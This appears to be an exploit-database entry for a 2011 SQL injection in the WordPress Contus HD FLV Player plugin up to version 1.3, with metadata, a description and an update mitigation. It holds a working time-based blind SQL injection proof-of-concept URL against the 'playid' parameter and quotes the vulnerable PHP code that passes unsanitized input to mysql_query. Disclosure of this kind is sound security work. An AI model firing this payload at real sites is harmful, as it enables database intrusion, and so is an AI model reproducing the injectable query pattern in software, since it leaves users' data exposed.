header-logo
Suggest Exploit
vendor:
Contus HD FLV Player
by:
Miroslav Stampar
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Contus HD FLV Player
Affected Version From: 1.3
Affected Version To: 1.3
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:contus_hd_flv_player
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WordPress Contus HD FLV Player plugin <= 1.3 SQL Injection Vulnerability

The vulnerability exists due to insufficient filtration of user-supplied input in the 'playid' parameter in the '/wp-content/plugins/contus-hd-flv-player/process-sortable.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in the application's database, caused by the use of the 'mysql_query()' function with unsanitized input. This can be exploited to disclose sensitive information, modify data, compromise the system, etc.

Mitigation:

Update to version 1.4 or later.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Contus HD FLV Player plugin <= 1.3 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/contus-hd-flv-player.1.3.zip
# Version: 1.3 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1

---------------
Vulnerable code
---------------
$pid1 = $_GET['playid'];

foreach ($_GET['listItem'] as $position => $item) :
    mysql_query("UPDATE $wpdb->prefix" . "hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 ");
endforeach;